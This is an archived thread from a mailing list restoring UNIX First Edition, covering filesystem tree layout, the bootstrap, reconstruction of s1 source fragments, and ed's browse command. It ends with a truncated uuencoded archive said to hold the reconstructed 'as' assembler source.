Subject: [Unix-jun72] organization of fs tree
Message-ID: <Pine.BSI.4.64.0805111143570.20114@malasada.lava.net>

The new boot stuff that James provided has more fs/usr files.  How
do we want to organize this in the tree?  Do we just mix it with the
fs2 bits?  Do we enter it as part of the new bits?

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Mon May 12 08:00:36 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 12 May 2008 08:00:36 +1000
Subject: [Unix-jun72] organization of fs tree
In-Reply-To: <Pine.BSI.4.64.0805111143570.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805111143570.20114@malasada.lava.net>
Message-ID: <20080511220036.GA39881@minnie.tuhs.org>

On Sun, May 11, 2008 at 11:44:50AM -1000, Tim Newsham wrote:
> The new boot stuff that James provided has more fs/usr files.  How
> do we want to organize this in the tree?  Do we just mix it with the
> fs2 bits?  Do we enter it as part of the new bits?

I'd argue: if it's known original bits, put it in fs/. If it's a full
or partial reconstruction, put it in fs/new. That way we can tell what's
original and what's not.

	Warren


From newsham at lava.net  Mon May 12 09:31:25 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 11 May 2008 13:31:25 -1000 (HST)
Subject: [Unix-jun72] boot_080511.tar.gz -- UNIX V1 bootstrap
In-Reply-To: <16075.1210515270@mist>
References: <16075.1210515270@mist>
Message-ID: <Pine.BSI.4.64.0805111330130.20114@malasada.lava.net>

Thank you.  I incorporated this into the svn tree and the image building 
process.  We're now using the bos boot method instead of loading the 
kernel with a simh loadfile.

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Mon May 12 11:47:21 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 12 May 2008 11:47:21 +1000
Subject: [Unix-jun72] boot_080511.tar.gz -- UNIX V1 bootstrap
In-Reply-To: <Pine.BSI.4.64.0805111330130.20114@malasada.lava.net>
References: <16075.1210515270@mist>
	<Pine.BSI.4.64.0805111330130.20114@malasada.lava.net>
Message-ID: <20080512014721.GA44867@minnie.tuhs.org>

On Sun, May 11, 2008 at 01:31:25PM -1000, Tim Newsham wrote:
> Thank you.  I incorporated this into the svn tree and the image building 
> process.  We're now using the bos boot method instead of loading the 
> kernel with a simh loadfile.

Tim, the new boot method seems to make the output from the running kernel
very sluggish, e.g. ls -l /bin takes ages to arrive. Can you do a quick
compare old vs. new?

	Warren


From brantley at coraid.com  Mon May 12 11:47:39 2008
From: brantley at coraid.com (Brantley Coile)
Date: Sun, 11 May 2008 21:47:39 -0400
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <20080511122858.GA13515@minnie.tuhs.org>
References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>
	<20080511122858.GA13515@minnie.tuhs.org>
Message-ID: <4827A1BB.5020401@coraid.com>

Great.  I'll try to add the browse command to the assembly version.
With the 'b' command, you'll never miss vi.  Much.

  Brantley Coile

Warren Toomey wrote:
> On Fri, May 09, 2008 at 10:34:10PM -0400, Doug Merritt wrote:
> 
>>FYI I recovered 100% of the s1 src code fragments; I presume this
>>is of interest to y'all on this list, yes?
>>
>>Note that ed1.s and ed2.s are missing. Their source code simply wasn't
>>in any of the fragments (which means, was not on the s1 disk image).
> 
> 
> I just looked at 5th Edition:
> 
> -rw-r--r--  0 3      1        7998 Nov 27  1974 ./usr/source/s1/ed1.s
> -rw-r--r--  0 3      1        5757 Nov 27  1974 ./usr/source/s1/ed2.s
> -rw-r--r--  0 3      1        4616 Nov 27  1974 ./usr/source/s1/ed3.s
> 
> which means that we do have "ed" in assembly format, and given that Doug
> found "ed3.s", we have a basis for comparison, which means we might be
> able to revert 5e ed1.s and ed2.s back to what runs on the 1st Edition kernel.
> 
> 	Warren
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72


From wkt at tuhs.org  Mon May 12 13:31:56 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 12 May 2008 13:31:56 +1000
Subject: [Unix-jun72] boot_080511.tar.gz -- UNIX V1 bootstrap
In-Reply-To: <20080512014721.GA44867@minnie.tuhs.org>
References: <16075.1210515270@mist>
	<Pine.BSI.4.64.0805111330130.20114@malasada.lava.net>
	<20080512014721.GA44867@minnie.tuhs.org>
Message-ID: <20080512033156.GA47055@minnie.tuhs.org>

On Mon, May 12, 2008 at 11:47:21AM +1000, Warren Toomey wrote:
> Tim, the new boot method seems to make the output from the running kernel
> very sluggish, e.g. ls -l /bin takes ages to arrive. Can you do a quick
> compare old vs. new?

I take that back. I was ssh'd into my home machine and running simh over
the link. I think the output from the 1st Edition kernel comes out in
clumps (i.e. a small internal buffer's worth), and each clump was being
shipped over the link as a single TCP packet; hence I was seeing latency
between the clumps. My apologies.

	Warren


From doug at remarque.org  Mon May 12 14:05:01 2008
From: doug at remarque.org (Doug Merritt)
Date: Sun, 11 May 2008 21:05:01 -0700 (PDT)
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <22897.1210513986@mini>
Message-ID: <20080512040501.6018D5A5A9@remarque.org>

Brad Parker ...brad at heeltoe.com... wrote:
> I'm curious, how did you do it?  I took a look at it and gave up after
> about 15 minutes.  It looked like a jigsaw puzzle where all the pieces
> were the same shape... :-)

Well, first I stared at it all and wished for some nice powerful
tools that would do N-way approximate diffs with special AI features,
then I started thinking about what sorts of such tools I could
actually create and how long that would take and what sorts of
limitations they'd have, and then I gave up on nice solutions and just
used brute force elbow grease for quite an extended period of time. :-)

Seriously, mostly it was just a matter of being very determined
and wading into it; I consider this to be a pretty important
historical matter. The rest of it is just details:

Warren's frags were consecutive 512 byte blocks containing
string(1) strings or something similar. The underlying file system
had each file represented as a sequence of full 512 byte blocks
plus a trailing partially-filled 512 byte block at the end,
possibly scattered all over the disk, but (think reasons for
defragmentation) only sometimes, and with the physically adjacent
sequences of blocks interleaved with blocks on the free list.

Naturally the trailing portion of the final block of a file,
and all of the free blocks on the disk, were *not* zeroed out
back then. Doing so was a moderately expensive operation introduced
very, very late for most non-DOD-contract operating systems
reluctantly when it was proven that extreme security issues
resulted otherwise (although this was widely known in some
quarters quite early, the cost/benefit analysis was very
different in early days than it usually is today).

Therefore, any sequence of string(1)-type blocks was reasonably
likely to indeed include multiple blocks of a single file, in
original order (with luck), followed possibly by one or more free list
blocks that happened to have string(1)-contents, and/or followed
by a final partial block beginning with a string(1)-sequence,
but with those trailing contents being accidental left-overs
from previous versions of various source files, which upon
editing, left scattered free blocks with string(1)-type contents.

BTW the largest appears to have been frag32, constituted of 45
sequential 512 byte blocks of ascii chars, which turned out to
be "ar.s" with some or all of "dc1.s" appended.

(I probably should have used as starting point all of the 512-byte
blocks of the s1 disk image, rather than the frags Warren found,
but that didn't occur to me until I was largely done. I did generate
a dir full of files containing those 512 byte blocks, with which I've
done some prodding and poking, but haven't done much yet.)

So -- not entirely trusting comments at starts of files, I searched for
matches between data/code labels between the frags and the v5 sources;
that initially helped verify when and if starting comments about
filenames were true, and later helped figure out which files
middle-of-file-frags came from.

Diff was quite a mixed blessing, as usual for this kind of thing,
because it gave me, in effect, lots of false positives/negatives
due to its longest-sequence goals versus my goal of longest-sequence
but-ignore-a-few-edits-here-and-there.

Part of the confusion is that many of the disk blocks had an
invisible termination mark (lost with the missing inode info),
and the rest of the 512 bytes of the block were filled with,
confusingly enough, more assembly code from one source or another.
Sometimes the garbage at the end was a dupe of the same asm at
the start of the block, sometimes it came from a different .s
file.

I tried to carefully check to ensure that all of the trailing garbage
was in fact a dupe/garbage, and that none such constituted new frags
with irreplaceable information that should be incorporated into some file.

I was in general very concerned about not wasting any possibly useful
bits, since there's a shortage of them.

So there was just a huge amount of eyeballing and searching and
cross referencing, and good old vi work for cutting off garbage
and piecing together related frags, with repeated comparisons
to v5 sources for sanity checking etc.

I kept (imperfect) notes about my conclusions per frag; that definitely
helped.

Elbow grease + obsessive compulsive/A.D.D. hyperfocus for
many hours over many days. :-)

Based on the experience, I could probably write a diff-variant
tuned to support this kind of work, but it would still simply
support a human expert, not replace them.

Thanks for asking.
	Doug
--
Professional Wild-eyed Visionary        Member, Crusaders for a Better Tomorrow


From doug at remarque.org  Mon May 12 14:24:52 2008
From: doug at remarque.org (Doug Merritt)
Date: Sun, 11 May 2008 21:24:52 -0700 (PDT)
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <20080511122858.GA13515@minnie.tuhs.org>
Message-ID: <20080512042452.910DA5A5AB@remarque.org>

Tim Newsham ...newsham at lava.net... wrote:
> I look forward to seeing what shell sources we might get from the s1
> fragments recovery.

Sorry I didn't explicitly say before, when I showed the directory
listing, but alas, the s1 disk image only contains (some!) of the
source files named [a-l]*, and so all [m-z]* commands, and in
particular sh.s is explicitly not part of the s1 bits. :-(

I have been hoping to recreate it (and other source files) via
disassembly + human polishing of the s2 binaries.

Warren Toomey ...wkt at tuhs.org... wrote:
> Where can we get your reassembled fragments?!

I'll post it soon, although I think others should do some verification
before it is checked in anywhere. My methods were sufficiently
ad hoc as to be inherently error-prone, despite my attempted care to
attain correct results.

I'm preparing some notes on the Reconstructive Software Archaeology
effort we're involved in. Reconstructive Archaeology is an existing
field, but Reconstructive Software Archaeology gets zero google hits,
and "Software Archaeology" is somewhat widely used, but entirely
metaphorically and/or humorously, so perhaps I've coined a new term.

Whether or no, terminology aside, I think the activity is very
important, and will increase over time. We're doing something of
long-term importance.

Warren Toomey wrote:
> I'm glad I don't have to rebuild the s1 fragments :) Thanks!

Welcome. :-)

Warren Toomey wrote:
> which means that we do have "ed" in assembly format, and given that Doug
> found "ed3.s", we have a basis for comparison, which means we might be
> able to revert 5e ed1.s and ed2.s back to what runs on the 1st Edition kernel.

Actually I mispoke before. Frag0 has 1/3 of ed2.s, and I do have
a version of ed2.s reconstructed 1/3 from frag0 and 2/3 from
v5 ed2.s. Diffing frag0 with v5 ed2.s shows some changes to be
trivial, e.g. optimizing multiple arithmetic ops to a mem location
that gets loaded to a register,  into a register load followed by
arith ops to the register. I.e. they seem pretty similar.

Brantley Coile ...brantley at coraid.com... wrote:
> With the 'b' command, you'll never miss vi.  Much.

I do know ed, ex, and vi, but I don't remember 'b'/browse, and
brief googling doesn't turn it up. What's this?

(I also tried it with FreeBSD "ed" which, whatever its heritage,
is not the same as FreeBSD "ex", and that "ed" said "?" to both
"b" and to "browse". Are you talking about some kind of extension,
or what?)
	Doug
--
Professional Wild-eyed Visionary        Member, Crusaders for a Better Tomorrow


From brantley at coraid.com  Tue May 13 01:16:13 2008
From: brantley at coraid.com (Brantley Coile)
Date: Mon, 12 May 2008 11:16:13 -0400
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <20080512042452.910DA5A5AB@remarque.org>
Message-ID: <447c9105644afdb8ad09e3b3761f3267@coraid.com>

> Brantley Coile ...brantley at coraid.com... wrote:
>> With the 'b' command, you'll never miss vi.  Much.
> 
> I do know ed, ex, and vi, but I don't remember 'b'/browse, and
> brief googling doesn't turn it up. What's this?

Beginning with the Eighth Edition, ed(1) had the following command.
This is from the Plan 9 ed man page.

          (.,.)b[+-][pagesize][pln]
               Browse.  Print a `page', normally 20 lines.  The
               optional `+' (default) or `-' specifies whether the
               next or previous page is to be printed.  The optional
               pagesize is the number of lines in a page.  The
               optional `p', `n', or `l' causes printing in the speci-
               fied format, initially `p'.  Pagesize and format are
               remembered between `b' commands.  Dot is left at the
               last line displayed.

In 1983 I added it to my Seventh Edition source to ed and kicked the
vi habit.  I used it unil Sam(1) and now use Acme(1) almost exclusively.



From newsham at lava.net  Thu May 15 07:48:32 2008
From: newsham at lava.net (Tim Newsham)
Date: Wed, 14 May 2008 11:48:32 -1000 (HST)
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>
References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>
Message-ID: <Pine.BSI.4.64.0805141147550.22671@malasada.lava.net>

> FYI I recovered 100% of the s1 src code fragments; I presume this
> is of interest to y'all on this list, yes?

How can we get a copy of this?

Tim Newsham
http://www.thenewsh.com/~newsham/


From doug at remarque.org  Thu May 15 10:35:23 2008
From: doug at remarque.org (Doug Merritt)
Date: Wed, 14 May 2008 17:35:23 -0700 (PDT)
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <Pine.BSI.4.64.0805141147550.22671@malasada.lava.net>
Message-ID: <20080515003523.F23795A525@remarque.org>

Tim Newsham ...newsham at lava.net... wrote:
> How can we get a copy of this?

I've been trying to triple check my work, but ok,
below see (uuencoded gzipped tar, 15k) the most complex
set of reconstructed s1 frags, the many source files
that is the source to "as".

If that seems ok to everyone (I'm not yet in a position
to even so much as assemble it), then I suppose I could go ahead
and post the rest. I just hate to drop stuff of somewhat
unknown quality on people; it seems unkind.
   Doug
--
Professional Wild-eyed Visionary        Member, Crusaders for a Better Tomorrow
----------------------- cut here -------------------------------
begin 644 send.tgz
M'XL("+Z"*T@``W-E;F0N=&%R`.P\VW;;.)+]2GX%9XYGXL2RC`LOB9SN>=X/
MV*?IWG,HBK(UD40U2=E.?_W4!3=>['2?W8[/[EHGB at D4JE`H%*H*!5!E)^6R
M^^%/_0 at I1"[$#T*(5/)?_-B_2HCL!PD`E<JTD!K;9WGV0R+^7+;X<^[ZLDV2
M'S;-^>ZE=H_W=;W_'@Q]W\]-4LKD^CHY;4[74B9EU]6'];YNDQ,\)C*.XT.Y
M.Z[BNFK:.ODQP=+51_E)+>/H7X=3A-+KX[MF!<6NC4[5 at DC$T:%Y6$>G9KMH
M11QU7[OHL=WU]6W2G/OU>7N;9!))3%I5^Z:K3?UVO=WMQY"^Z]=1W;;;_5T<
MK8]U5-9/NYY[;[/%MFKKLK]-RF5_.&DB%%WT3WVW^VW1RBBZ2>J'^IB<3W&T
M.U;192O?`YE=%5W(!1:N_G@]=M$*H#X8)_=YF^3<H/MZJ(^;A=A"H_,ZNCA#
M15^NJ8((R+&@3(O;1*R6RTDC(PU\K)_JZC91(%.YC6,2QXHAY^-^=_QBA"%G
MZM1,G;940:H2""G at T!*P2*;A^7BW;];01D,;$2MX^GQ3]]5-V:F?Q4^QQHKK
M.WR,EBCW.(89A<E;F?&DB^O+[O2>2Y=M]OYJT:8.AK*I]C"M at ABAF;]L4Y3Y
MNOXU at M'2G*!(UFTDU]3*S(8T<KV8R%6L!$AJ)4S3S$W!,TT5]<S<&4:!96:T
M[3N@`*,BK?O=HY)F?HRNX at 0#2PJ'U9&\9WM!\<)XU]&G)4H!9',XV<+BXMUO
M@`Y*@7(@?,'*9=<%R=WV]==__'P,IOFUC=#;Y]4^90=V^'7]OTQ3P?Y?BUP+
MQ?Y?O?G_[_$!_Z]>]/]@-9K66A[K=XV1#<P<N*:IT3,V]D-U;LOVCLR1-=QH
MUTW]F-S$8H$1?H?V*K"*PMMZ-6!#AR7P:O6BU2:<&'B%[57N^+M(T7FC>25O
M`W9X\["!-F*YP$*Y@<([$1#"3EKQWC&`D*Y9HQ#4^CEG(L%!%X-!Z$%)#4IR
M-%SG:N0J^KQ-GN#S\]&[U77=/];'%?D$'*CQ5NM]S]*&6C\G6*NVUJ<:SX;#
MMWV<SOVC`>ZV'&C9:4/R*7@;G`^,O at P=$_L!8H5QQF,)PDB?J[9=G2KJJAIU
M!52A*\)968FGBP\-A(TF:C./R`P]+BXXJKSBH!+<8.1FFB$+ at _*[HE(9\/?:
MZ_//_H#]UZ^]_RNT9/NO<JT+LO_8_,W^?X</V'_]HOVG&K_"(6+=-"=7K.[K
MZDO=='$$(7A2E_L&@2/#H0/#`9M]$Z>:?2(%L1S"*AG=[+;.KM!29S)J-6RH
MDB2Y@?V4;6UH;>K*]=N:2CV)RD<C<2;M1^8V#<W<RIL^0Z0K'YK3.$(W))L3
M>IQXT_2'\LG:+BBU-6]CRVY/NQ4D#]4+WB->I^Q,2"I6A$A_IDEK&UCWYWD8
M2OA^UPT,MO138?PK.7;PK$^!L)#J>@?;K`M=+'B388<_PK)M.QK at M3*M+=O*
M((]GX7@^/)0L#".S[9IT:"@L"`RVZY;';(46PH]/_79])7U_7*&\IZ<*#R>"
MSF>/4PO&"1#.;9(&?*?/:G[]=&KK;NRS2=QR/`FS$@\FTF+QZ/P"H#Q#RI$'
MM=&+L`F05C0)E9TPEYSX"Q01RU(R at 8VR<P:4N+6)8)3!;2-67N?4`[9MNN9"
M62YX"*M at O=RRPI#PY$RX8/?LM$Z<F*67`C6N/>,S,<A$FH&_5E.VGUSEQ%Y9
M-D<S#&Q!&,?`%:>Y6!MBHZP^SKKXM*1Y)L8,#S.B\XD,%UA83E9C*8TCK=NY
MZ*OVE12>POI#VQ9(XG?:?_#_Z2O[_U0KX?R_*@3M_XJW_=]W^8#_3Y_U_^#^
MVV-YJ*T+'>SQ7MIX at 3["/H(?NZ^'=;.G_0VN at 6NGJ';5':M[1X/V/:>O:/66
M5!@T0E7_?8TD63_3?L#E9:MP9T3;M6R!R;+G^!A at E_O.[`BE$P:2FHX$+98U
MO387%S@(8P9HAWG?W5->6CB2891`"QN:8)K8;'BMU>%:MCPV7WBA/C"]*X^C
M5M-)P#)M7REJ".,S$LW"9E at -^R\!UI&D@$R2)!P$D[%;Y_)-YCO(@`9[9Q>4
ML143821#Z0*,B5)KY7!WQBET<-IK,-=?,#T`U,E/#\,A3D,$?'^[`N<F@&&P
M1[R;E'V*=.4DG"08Y^JO=4&-8`K;T?[W<9:_9_(`M"O'TEA[K/-`30OTSBCN
M.JKNRQ;XX-E%'=S78\]D`R3$(674GBQ$9^O:)>=?6-^P<DR)2%B]S@:K`7LP
M?I#3$^`(,97SB9VOM$<AF%H19D73"LO,VA/\B"LO6)%\TN(3_G9-O%N/'"76
M;6?JECZZ,&,)%J8:B2A8E\%49"_/WU#<Q++VG<W$OJ3=,N5^3*0W&!`W0.&(
M`=GTC[`51 at I>E4B3C/9P>LBGZ+!N,!S:81W7V^K8NSP2(W_`ZA,1H'T;EFPP
M*HO"4UX/@C6.QG='!]=F>6,P=IL`F?/VUJ1UJLZ%A+:UFT2Q<&R1P2/$A>6"
ME&72'0T0"N&)FN9!KJ-CV=Y!F+B^Z[V%A;AK$<1P:IHC4]/X=&<B2#IIL0;9
M9$21&*?@A+=(L':%'Y;-D5+^%7.BU!<RW)QP25%ZE*11.4:?._J!EI__06E#
MY"@9L$0:3\(PZ4L.T:<'6L,HX");S!HZF_,UB57J@,Y+G=>QHG)H''8[EW4M
MYRG/)DA3.\FO'4_];_M`_)^]<OROA8W_4YFI3+[=__B.'XC_LQ?S?[PIMK$<
M)K_<"K;G."8E-MK^PJ+].%[BUNE\G`8O at 3L;Q3&2K7"[P:T(FZX/<GO-*8L8
M;.)3T\91W57`PT?T+G6/3(,=__7<](!Q5[90W9F2I=-]V9VH=#X$.%W?[HYW
M.(@8*<[P>0'U%%Z[K,6:3UQD>#'!7%:08<0\CL(0[`[X42Q,&<#+]=>^3M[=
M+.#K2C]_7B1"9Z[\$Q9S5_P;%@M;%%#"VQ9/C8WG+ at 3FA-+8##4XXV")C&-#
MF\G*ESZ.M)6Z6++[9_'9+`EM%HG>.4 at 9<U3I at S[;+4]((.$.^^7-PV86-CTG
M="`^6Q*4WIHY)!0+SCSZP[DYUV*SDW,P at Q.$YFX<H$C/Z[,+.\.<C:\T>3%2
MQO#<"75VFD?BQ#8H><QZ:J?VW><IT[@RS:#E6)`40DF?D at OX1?G!QEI,"6)8
MEU at Q#B_</.NL+6<S8D-.1F*;R"J=R,I6VFV'`_[,H]';F17;H3W!$- at M6-[W
MA5&D6;"4'%B?]K-QJL>R_9L6.MR'_#1,=1H[85JFTTG]'`:(,?'J3<`1UC'>
M##+%'HO2%6LHBM05<=%CXMD46VSL[46)4&\O3F at O=&`ODFOY?_^\\^TS_$#\
ME[]R_)=)K6W^5TJ5<?XW?8O_OL<'XK_\Q?B/SS1]ULNF+X*L#EZ21+-C?+>W
MA)_9$CZ=6C9Q0$L6,12]W;?':"8WL6GZN3 at I?>\S(T!8F0"4"0^9R6X3K3C8
M(/!\S&!.>H97;&SBU4:84E&FDAA!UG5TDQS*4[)MX-O6=XOMINN3ODE`=T!F
MU"BG_PM&$/Q'CM#WFYOM!%'JF4ZZMEI at 3^.V&?_ASB3WIK at WQ;TIQ7^`*HD!
MGQE+,98R/.HDX0X/YWW2+=I15YK)@4CC&U--6"O\4P2WOC<;G,?FI,(#K<7P
MU`[G&YU>.;=9,'-"PUOA^7[2082SKY/F5+<E9F&'7<VI3$P<KT"$7;.>Z-BW
MV9JR$]^LH7.()'!N:=!2\!_YNY0XODG(P1)*/D7!"(':#Y at SX</T7))G/0P4
M;Y+/R>6R[*K=[CUU at I."C)A at EHB/"#E<OCU&RK,*>#'WVX?C6.ZVU')FW(,C
MCVD&[#_=53/,0F(CHZ#^@@=5P+R9.QV^4[Q at OB>P#A3+WB*AWNA`&X_)^<[!
M<]<[OB576"JA7&G!T$PKGG=5K-Q]`KK0(8W%"*XAP$X8;T.D_FS=U&1D2EBB
M=#@@3/);9=?*'P`)=[X?J$_5'`X-S9)6+\C at OR6"T80^?Y+]Y%GC=1 at N]TMS
M^K\/.[TVE0?,+;K:"U.[:?;[H/J#O3\`3CF^J_NGJ;(->C-Y_)='$Y[]@S$=
M59R&ZW9T3N\DKM'MX/LC0&'7]>`A^Z^G>B)0W\F(D%R]V$\,0OOF79,QW],^
MK6RNGIWI&;;LB6W(S0%?^GE6D2Y?NA8%4VX3LCB#,T;UCX]K+"Q4FV^2?5'<
MJ&'/C%!X10P$&+H=7J at OW3KY$&1UR+=,FW at O&-N16F53BXO"WRNQ^B?];M56
MI>X,.#3+[,S":[9454]YJ,<\#&[S/'_]Z_T+'OP/WD!Y^[SF!_9_Q6O?_U&B
M,/N_(LNDN?^KW_9_W^-SDR1E\?(+(&1-[08P&QS^O;L*[P$TIVUSQD#=OD9A
M\Z;:IG7+S0,$TQ.+$5RJF-]>RJ+ at +=WRBAU+L1WO#1%?<4F:D(YV#45 at T&0J
M?<@45%Y)L337-=UY-E]!O0:HZX*BO=0=X&[7U_]4'Z#!+]Q"<>+0]#MS!=`S
MY=XUT5Y8'NI\<MT]RN"<872`:HX9QJ<,6.5F8A0 at L1MP!]?3.R;9T*[C1IB/
M69`5J'EW=0NQYA&M_+MK__C!/][XQ[^[1Z&+X#D+GG/?_&_^\9_PV)9X,^+=
M?[E:>1O53W1:\^XOGL)M).*8"BZW"T,Q(=#,)J\.;L&DYBX$WD,ES41MY[.+
M\#A`>DT6X3S%Q.,WKLN\'*(X5_O+LZ[V%[\\M-\IJ/$)^/BV1\Q,FFV=4PC6
MJZ?ND6[H.<5"D=EWA@:JE86JA;>6@:Q14:,=&6H'$F3U2.HGB)!(/>`1]CBD
M'O!X..])/>!QLWM at G8!G/+L#34$TY`^UHW[:=_>L'/53BX^@&TBAV=#<P^,1
MHR_0#7BL#FO<68"5P!,O4PYOWD08M=_M'NID7V_[9+LO[Y)FF[2[N_L^'%-,
MG0'FL;[CTQ&0A.'%)/)AL5:P0AI:L03R(15LTZ!CNHN!5Y;PTI`:D8<!S+:?
MO5PYOBWH\U3V3M*8/,A]GAUS(W+<'B9GVE[RQG26_G&>/CRRO';5+%[3SJ+A
MGG562N?]O)1.7T.]GT,%Q?H?$["8D@>M>U$`SPB:_JZ\RS2&`<]\C-5A6EYI
M#:,D(7L#E:]2X1X_*&ISL2J\\V_V,.']OR'9D2UQ!L1E:<2\%0CW'F+P>L'0
MT4_>+;2^SKQ^$)@L^\;A:X=!_V\_$/]_?.WW_W3J?O\ERU+Y%O]_Q\]-4GY\
M,?PW5W'<B31$Q(O!5ZBP/&BFU"*Y#L!*S39[_OM'FV$'"NR<S$V'PG_]*?J@
M.OCJCTL8CCLA5\5RH:!*?5HNM("OA*^"KX9ONK3-=`;%?,E44!C"=C at 9@@`*
M`J^P`P61PA=0!:"*PE$3T*&`#O&NKX3F>.-=0G,)S67FFDG`@HW[`A;O0D)S
M!<T5-%?07&G73`&6 at DZ4Y4]YH6C?Z>OS1I.5#^8TYA\;6-G.8[Q<M&F.M:^I
M[OTS_T3-*OI\`W]OROX at 2_S=&?[%FJ!:^6H=5&NJ_G4'5?^!-V3->_6TS0/=
MOY:WS_^+Z>7R5<0OD<?\TL`J,C_@$_,KG,#IC\LK%6_*L+3NNJ#$>TXNX9:4
M#P^XG,=`NSKVMBV_ZY'\F(#AA*;\S@<"W6L at R_C4;`VQ^+%I-ZZPA5C#/N*+
MD+Z>KA?;(LN`7QVQ3-"]:B[0K6P<>F5Y8@$$4#HZ-D!S/]L5MZXGAIUL at 6Y>
M!R*!HNN`MS&V2$EGAT:[-5?"=SFYD+Y%%\]_P/]_>EW_+S.I"^O_<UWDY/]E
M_N;_O\<'_/^GE]-_)?[LF\"3R"_U5[P=@.=>'90C$<%:K,&8U!LHR:A<=\W^
MW-=04%%?/_7PH",P>"4\I!'8.OB;1=N]O3^!UR<N8>^P;1;01]=7V\U[:))'
MYLS])BIPMX7$!6X5\$'BNP_XH'#7L4TN?]QOMHNNWR*FA.[HDH*]-$#D"9*:
M?MV5BDO8K3%2%@UO&B27L%\A2,[N!1\+<S78'K8ODK]^_BLV4L+\"`L\R at A/
MR>%!01T=9<.SCLPI-CRGD3T^Q%(6+8V8%/1D!*4*Z)1$I44$>^$%;&H72=U7
M6"/QQ45\@`[P7#B.V<FL<'ZZ4UWMRGWR4+:[$H0`DR3S'%;>;<)+[3;AX^55
M(A0]K[@^N5G&LI!9'K04DEH,&BVQ%S>`6!1*%>+68*CTUC:$#23`=#J!28!)
MA($=&,,4P!3!\@E,`TPC+-,36`JP%&$XT!$L`U@&L#2;PO+DICO%(E=R.H8B
MN<$C,9C,!/0?1HVKX.])][CKJWN4JY"JD(5%`UG)HL@*&'K5/<9HTHI\"-0H
M%\Q[P6`"H5D@#+ZL8@%XV00&`SS\"C"EG(@=#`:!>351Z'1"5$*/786CS]4$
M!C,!"TMD:9&I,0R8.38`!))B@@C<8$8,Y)Y-@<!."<#8*#_JY%?0E4-2E?L]
MBDW)5,I;4>0I8PFK%G3Y%;:"Q$ZJ=`@&?K9-^P5&`@*"2OS!L`",RH%W]Z64
M2A/Q0 at 9@8)A^WP&F&B\6WHI,YR$ZZ`B^2853JC*8TD+G(3H,B=\,DZ(H\BGO
MH"J/)?(N5:Z`.L at E]6"<`_J5/Y`F^+1\/#:<!_SM1:`.G</T:E`![<$P=/YQ
M1A(=<B_E`%^CZ.H*NX>N$3]5`1@&7]UO=C"912%S1"^R$!T&W^\.()M,9#GV
M"]TK#T;U*K\0/M"7*+Q"AL,KD#[F90E>W((;+W(/5SC\^^81I"M at 9E$\NB@"
M.`R?WN-%+2W2B705C!_\<Q_3K&1CZ2D8?5?7B)T7N#A0]@$81M_7^SVNJSQ#
MYC,5,*]@\`<()WL2O at +F!=B0U,-A]&=N at -WK%!NH+&A08/?]>0?#A\F?-M`P
M_#O3`,:7074F1:!=&I<A3P`8:C49OX;Q_WI&[=*90M8*_+5<#X;Q[XX]S(Y*
M03W&RJ=A_%L6GY2DG"/J(("J/O0X^T;XX<K1./O at E&IB/H?125 at 9`1R'W_=?
M8_P%IRDXQ<$36&=@2FYI"%ZU4QCZ;G^W.W9HA72FQ[J9HAG:56A]DZ%3CWE"
MG865@(LQ)II8</<>FBL#E1ZZ1E75WHT0LF)P=3AYJ$?V4$`6>5&D`V3-X#5.
MDX5Z9`]E9!QH@)Q:<.6A'ME#3<]#Y,R".P_UR!Z*R%JG0[9S!N-A#:Q-&&4(
ME0:*YS<@?Q./\2KV5I]G(*5>6 at 0J-#$A4#(+QQH9S+0<01FU_A6AN1[A*L:]
M0UPP7ND(RKA[$GJ>C:#:X/:$FXXH:X-+E%,YP"5-0>AI3R-2<@1EW,..1"Y'
M4#/>^QWUR^Y$>ZCIM\'Y`F^BA\AFP`]HS9'+$921'SK7<4A:VXX)G,D1L@'7
MI&6ZF(=6E>-Z`+5<(VXZH<S0BOO5\U#:+XSO\Y+'S;W:T21EQ`K$WQ[*&HV^
MRT-I%:=^7 at VR)'!S\-`0V4+7:)*DE[Y!5 at C>'2L/#9$M%'O&7RD?(7-\1X[8
M0$-D"UVCK9,^<#3()*1C?>>A(;*%FE4\[CGC55QY:(ALH6N*$=48.:=%OJX\
M-$2VT'4L:;6.D`L$]UWOH2&RA6+/4F>C><YI)EL,,RTT0'901DY'/>>2P7L/
M#9$M=$U1JASW3#-98O1KH2&RA3*R&/>L&;SWT!#90@$YQ9^S'2(+8NQ?Z&0@
M%B!CZ)`%V2R0]F-)%A>WO4 at D]^P+4IN41$- at V(OU&%2#<0Q,">^L:!@$QG5W
M.`W6'1CQP`2`*9$B)2W#K34 at X!'Y-40V/;X*2PLQ#9K3DT+_C:?AM$SS"50A
M](&@A9I`,2S=_\8A]P0WHR5^Y)AOTF^.(5-=<4 at VP<TQ8*P?")I.^LU3A/Y&
M4#7!Q>U;ATE?%$!3XN"34P/Q%4B.MGPL9A>`2]P>`4Y2;:O*AHCX$E,`EO@:
M0]UO'=CM71`L#7CCP#J5`;9B\,Z!77Q+V`:\=Z:2^P9U`G#*K/V[O7-I;AM'
M`O#9^A6<JE3M.'Z)("E-G)G9RU[V,%5SS&&WMB19LK71*WHDSOSZ13\`-!J0
M+">.G=DADBJ+)`@"(`@T&HW^9NN)[U7D9?PZ"]NK3'!&"N]77L8OOQ@,-Q/_
M<<O+V*L4]N.>>&&++QM[F4:J`M0S_K+]2NV\P*9CYXE==WDJ;J\JF/E"ZDVX
